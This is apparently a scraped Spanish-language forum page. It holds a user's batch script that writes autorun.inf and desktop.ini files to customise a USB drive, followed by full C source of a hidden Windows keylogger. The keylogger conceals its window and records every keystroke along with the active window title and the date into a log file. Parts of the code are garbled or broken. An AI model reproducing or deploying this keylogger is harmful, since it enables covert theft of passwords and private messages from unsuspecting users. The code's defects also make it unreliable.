Después de unos días indagando en el asunto, se que la respuesta es un claro SI, pero no encuentro nombres, códigos o algo que me heche una mano a empezar con este tema.
¿Alguno tiene algo de información?
¿Alguno tiene algo de información?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú@echo off
title Mrobles USB
color a
set /p Mrobles=Aqui el nombre para tu USB
pause>nul
cls
set /p tuicono=Ahora el nombre del icono (con la extension por ejemplo si es un icono .ico)
pause>nul
cls
echo [AUTORUN]>>Autorun.inf
echo label=%Mrobles%>>Autorun.inf
echo icon=%tuicono%>>Autorun.inf
cls
set /p dragonempires_1_1600x1200.jpg=Ahora pon el nombre de la imagen de fondo y la extension (ej:fondo.jpg)
pause>nul
cls
echo [ExtShellFolderViews]>>desktop.ini
echo {BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140- A513-11D0-A3A4-00C04FD706EC}>>desktop.ini
echo [{BE098140-A513-11D0-A3A4-00C04FD706EC}]>>desktop.ini
echo Attributes=1>>desktop.ini
echo IconArea_Image=%dragonempires_1_1600x1200.jpg%>>desktop.ini
echo IconArea_Text=0×00ffffff>>desktop.ini
cls
echo Ya tienes tus 2 documentos echos
echo ahora solo metelos junto con la imagen
echo del fondo y el icono y tendras tu USB TUNING XD
pause>nul
msg * By Mrobles
exit
/*
Características:
- Se inicia en la ruta donde sea ejecutado
|No se añade al registro|
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
en el archivo "LgPh.log" con el título de la ventana y la fecha
-Se ejecuta en modo HIDE
- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/
/*
Modificacion de keyloguer básico - Coded by P[i]
Modificacion de keyloguer final - mrobles
------------------------------------------------
- Modificado el modo de indentificar las teclas.
- Cuando se pulsan 850 teclas tambien se guarda ( Sino nos da un error )
P[i] - [email protected]
[email protected]
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>
#define OK -32767
int main(){
HWND ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);
{
FILE *log;
HWND ventana;
time_t ltime;
int tecla=0;
int cont=0;
char TVentana[500] = "";
char Teclas[10240]=""; // 0 1 2 3 4 5 6 7 8 9 10
char simbol[256][15] =/*0*/ {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
/*1*/ "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
/*2*/ "","","","","","","[Esc]","","","",
/*3*/ ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
/*4*/ "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
/*5*/ "3","4","5","6","7","8","9","","","",
/*6*/ "","","","","a","b","c","d","e","f",
/*7*/ "g","h","i","j","k","l","m","n","o","p",
/*8*/ "q","r","s","t","u","v","w","x","y","z",
/*9*/ "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
/*10*/ "4","5","6","7","8","9","*","+"," ","-",".",
/*11*/ "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
/*12*/ "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
/*13*/ " "," "," "," "," "," "," "," "," "," "," ",
/*14*/ " "," ","[Bloq Num]"," "," "," "," "," "," ",
/*15*/ " "," "," "," "," "," "," "," "," ","[Shift-I]",
/*16*/ "[Shift-D]"," "," "," "," "," "," "," "," "," ",
/*17*/ " "," "," "," "," "," "," "," "," "," ",
/*18*/ " "," "," "," "," "," "," ",",","-",".",
/*19*/ " "," "," "," "," "," "," "," "," ",
/*20*/ " "," "," "," "," "," "," "," "," "," "," ",
/*21*/ " "," "," "," "," "," "," "," ","'","\\",
/*22*/ "¡","´" };
log=fopen("log.log","a");
fprintf(log,"\n/******************************/");
fprintf(log,"\n/* [*]KeyLoGuer */");
fprintf(log,"\n/* [*]Iniciando...OK ");
fprintf(log,"\n/******************************/");
fclose(log);
ventana=GetForegroundWindow();
while(1) {
if((GetForegroundWindow()!=ventana) || (cont==850)){
if(strlen(TVentana)>0 && strlen(Teclas)>0) {
time(<ime);
ctime(<ime);
log=fopen("log.log","a");
fprintf(log,"\n\n[*] Fecha: %s",ctime(<ime));
fprintf(log,"[*] Ventana: %s ",TVentana);
fprintf(log,"\n[*] Texto: %s",Teclas);
fprintf(log,"\n ");
fprintf(log,"\n/******************************/\n");
fclose(log);
free(Teclas);
strcpy(Teclas,"");
cont = 0;
}
ventana=GetForegroundWindow();
}
else {
GetWindowText(ventana,TVentana,500);
}
for(tecla=4;tecla<256;tecla++) {
if (GetAsyncKeyState(tecla)==OK) {
strcat(Teclas,simbol[tecla]);
printf(" %s \n" ,simbol[tecla]);
cont++;
}
}
}
}
}